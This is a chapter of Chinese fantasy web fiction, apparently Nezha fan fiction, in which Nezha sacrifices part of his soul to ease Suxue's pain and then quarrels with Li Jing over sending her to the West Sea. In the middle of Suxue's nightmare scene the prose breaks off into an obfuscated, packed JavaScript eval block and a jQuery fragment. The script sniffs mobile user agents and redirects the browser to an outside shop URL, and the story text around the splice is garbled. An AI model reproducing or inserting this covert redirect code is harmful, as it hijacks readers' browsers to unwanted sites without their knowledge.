汤灵新丧,手刃敖丙,血海深仇刚刚了结,他已决意斩断一切牵扯,独自去面对那场未卜的战役。
——或成神,或湮灭,皆一人承担。
可偏偏在这个时候……
为什么?
他以为自己在反抗被操控的命运。
他要证明,即便不让旁人助他炼化混沌之力,他亦能靠自己,使用混沌之力。
可命运却以更残酷的方式,给了他迎头重击。
这个孩子的出现,仿佛是对他所有反抗的嘲讽。
殷夫人看着哪吒神魂游离的模样,十分焦急,又想起太乙真人离开前的话,告知道:
“真人离开前还说,此事之后如何,端看你自身抉择。”
自身抉择。
这四个字像最后的砝码,看哪吒在天平之上要如何落下。
他缓缓地地闭上了眼睛。
再睁开时,目光无比平静。
他沉默了许久,久到殷夫人几乎要忍不住再次开口。
然后,听见哪吒干涩的声音响起:“我知道了。”
-
通往西厢暖阁的回廊,在夜色中显得格外漫长而寂静。
哪吒的脚步却在这片寂静前,罕见地迟疑了。
脑海中不受控制地回放着不久前的画面。
——演武场上,他周身煞气翻腾,火尖枪嗡鸣。
那时她扑上来,死死抓住他的衣袖,眼中满是惊惧与哀求,让他不要去东海,让他从长计议。
那时,他是如何回应的?
他说出的话,字字诛心。
甚至末了,还甩开她的手,任她狼狈跌撞。
现在想来,每一个字都像是淬了毒的针。
可说的每一句,在这之前他都不曾后悔。
为什么要说那些话?
不仅仅是因为当时被汤灵死讯刺激得近乎疯狂。
或许,在那一刻,看着簌雪惊慌的脸,他没有哪个瞬间能比那一刻更决绝。
汤灵因与他的牵连而死,与他扯上关系,总没有好下场。
他也不再需要旁人为他牺牲。
不如分道扬镳,各自承受各自的命运。
离开她,簌雪能有别的去处。
能去西海,去寻敖烈,她还有很多选择。
他原本是这样打算的。
可命运偏偏开了这样一个玩笑。
哪吒知道簌雪绝不会想见到他。
便在廊下的阴影里站了许久,直到更深夜重,暖阁内的灯火早已熄灭。
确认里面的人已然安睡,他才如同融入夜色的影子,悄无声息地推门而入。
室内弥漫着淡淡的安神草药味,月光透过窗棂,勉强勾勒出床榻上朦胧的轮廓。
簌雪侧卧着,似乎睡得并不安稳,眉心微微蹙着。
哪吒屏住呼吸,走到床边,动作极轻。
他伸出手,指尖并未直接触碰她,而是悬停在她额前寸许之处,闭上眼,一缕神识小心翼翼探出,深入她的经脉与灵窍。
果然。
一股极其霸道灼热的气息,正盘踞在她元灵深处,与她本源的灵气格格不入。
如同冰水中投入的火炭,不断侵蚀灼烧着她的本源。
正如师父所言,她自身的灵力正源源不断的涌向元灵周围,极力护住元灵,但在混沌之息的持续炙烤下,那层灵力正在以极快的速度被侵蚀。
不仅如此,混沌之息带来的痛苦,时刻折磨着她。
看着她在睡梦中,依然不自觉蜷缩着身体,哪吒眉头皱起。
没有犹豫,甚至没有考虑后果。
他深吸一口气,双眸在黑暗中骤然亮起灼灼神光,将意识沉入神魂之处。
那里,灵珠子光华璀璨,混沌之力溢散在它周围,涌动环绕。
哪吒欲分离神魂。
此举无异于凡人刮骨割肉,更是修行者的大忌,轻则元气大伤,修为倒退,重则神魂残缺,永无圆满之日。
哪吒并非不知后果,但没有丝毫动摇。
他凝神,意念化刃,生生割裂神魂,从中抽出一缕!
“唔——!”
一声压抑到极致的闷哼从他喉间溢出,额角瞬间青筋暴起。
剧痛蔓延四肢百骸。
但他只是闭眼,眉头不受控制的皱起。
硬生生从自己神魂之上,剥离出一缕神魂,化作一道红光,自眉心脱出,他抬手接住。
那缕红光在他掌心轻轻摇曳。
他不再耽搁,将那缕神魂渡入簌雪的眉心,随即引导它穿过经脉,最终稳稳地落她的元灵之上。
那缕神魂瞬间将混沌之息与簌雪的元灵隔离开来。
环绕在元灵周围的灵力压力骤减,终于得以缓缓回流,重新涌入她干涸的经脉。
但这还不够。
混沌之息带来的痛楚并未消失。
便是护住她的元灵,身体的痛苦仍不会消减。
混沌之力在体内乱窜的痛苦,如同尖锥凿心,他深有感受。
哪吒不曾多想,单手结印,随后将印记附在簌雪胸口之上。,
置换术法。
他将簌雪搜到的所有痛楚,尽数转移到自己身上。
——元灵灼烧之痛,经脉滞涩之痛,乃至之后受伤所产生的所有痛意,都全部转移。
他猛地偏头,只觉丹田翻涌,经脉刺痛,鲜血再也压抑不住自嘴角溢出,顺着下颌滴落在红袍之上,触目惊心。
哪吒却似感觉不到痛苦般,抬手随意擦拭唇边的血迹。
床榻上,簌雪似乎有所感应,紧蹙的眉心微微舒展了一些。
哪吒稳住心神,目光落在簌雪身上。
他下意识地抬起手,颤抖着,想要为她拂开贴在脸侧的发丝。
指尖几乎要触碰到。
但在最后一刹那,他猛地蜷起了手指,迅速收回,紧握成拳,生生克制住了那股冲动。
哪吒想起娘亲怀他的时候,怀了整整三年零六个月,期间娘亲更是吃尽苦头,咽下无数心酸苦楚,三年后诞下一肉球,李靖口口声声道是妖孽,一剑劈下,毫不留情。
即便是劈开肉球后,见其中婴孩,李靖依旧不为所动,挥舞长剑,势要斩妖除魔。
若非师父太乙真人及时赶到,告知李靖眼前婴孩乃是灵珠子转世,他恐怕早就死在李靖剑下。
娘亲所受的痛苦,是他带来的。
如今他又要给簌雪带去痛苦。
他不愿,更不想。
强行压下魂灵被撕裂的痛楚,他最后深深看了一眼沉睡中容颜稍缓的簌雪。
起身,步履稍许踉跄,走向门外。
就在他离开暖阁院门时,一名小厮快步上前,压低声音禀报:
“三公子,总兵大人自军营回府,听闻您已归家,命您即刻前往书房。”
哪吒脚步未停,只从喉间溢出一个敷衍的单音:
“嗯。”
-
暖阁内,簌雪陷入昏睡,梦中场景几番变化。
敖孪的身影渐渐浮现,依旧是那副温和含笑的模样,眼底却闪烁着恶意寒光。
他的声音如同
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16894873|190777||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
诅咒,在她耳边幽幽响起:
“好妹妹,是不是忘了,你娘就是被这般的假意温情,骗尽真心,最后利用殆尽,落得个尸骨无存的下场。”
“如今你又步上她的后尘了呢。”
“可惜啊,到头来,没有人对你付出半分真心。”
“真可笑,不是吗?”
梦中的簌雪想要反驳,却发不出声音。
敖孪的面目愈发可憎。
他的身后,是熊熊烈火,将整个龙宫吞噬。
“滚,你滚开!”
她猛地从噩梦中惊醒,冷汗浸透了单薄的中衣,心脏狂跳不止,呼吸急促。
好半晌,她才从梦魇的余悸中缓缓平复。
下意识地抚上心口,却意外地发现,连日来折磨她的灼烧刺痛,似乎减轻了许多。
是药起效了吗?
她茫然地环顾寂静昏暗的房间。
除了床头桌案上剩余小半碗的汤药,再无其他。
-
书房内灯火通明。
李靖端坐于紫檀木书案之后,铠甲未卸,染着夜露。
他面色沉肃如铁,目光落在推门而入的哪吒身上。
“还知道回来?”
李靖的声音不高,厉声斥责:“你这孽子,还以为你有这般骨气,要反抗到底,便是天塌地陷,也不会再踏进陈塘关半步。”
哪吒站在书房中央,玄色劲装衬得他身形挺拔如枪,脸上神情满不在乎。
对李靖的嘲讽,他甚至眉毛都没动一下,只扯了扯嘴角,回敬的语气轻慢:
“可笑,陈塘关是我家,我想回便回,想走便走,需你同意?”
这话里的尖锐,激得李靖额角青筋一跳。
他强压怒火,不再绕弯子,单刀直入:
“既回来了,下一步你待如何?”
哪吒一脸无所谓:“不如何,我此番回来,就是要将她送走。”
“送走?”李靖的声音陡然拔高。
对他的难以置信,哪吒毫不理会,只是耸耸肩:
“我以为说的已经够清楚,便是将她留下,我也不会如你愿。”
说罢,哪吒抱手,倚在窗边,神情轻蔑:
“况且‘潮汐之泪’如何可得,你又不是不知道,难不成事到如今,你还妄想她心上有我,为我落泪?”
听了哪吒这番话,李靖还有什么不明白的。
他目光沉沉:“所以你是故意的?故意对她恶言相向,故意伤她,就是为了反抗。”
哪吒承认的干脆:“不错,只是觉得靠利用牺牲其他人来炼化神力,特别窝囊,非常不丈夫,我要脸,这事我做不来。”
“你!”
李靖拍案而起,一掌落下,桌案上的茶盏瞬间震碎,散落桌面。
他怒视哪吒:“简直无知!你这无知竖子,竟不识为父苦心!”
按在桌案上的手掌紧握成拳,李靖努力忍下让他滚出去的冲动,想起之前放下颜面去见簌雪,她所说的话。
见哪吒这般不识抬举,他便直言了:
“你将她送走,我再将她抓回,你放一次,我便抓一次!我倒要看看,你能将她藏到天涯海角不成!”
面对李靖的暴怒,哪吒视若无睹:
“那我就将她送到西海,西海龙王敖闰待她如亲女,敖烈与她亦有兄妹之谊,你纵有通天手段,还能从西海龙宫要人?”
李靖闻言,脸上怒容未消,却满眼讥讽。
“西海?”
他从鼻腔里哼出一声:“现如今的西海,恐怕护不住她。”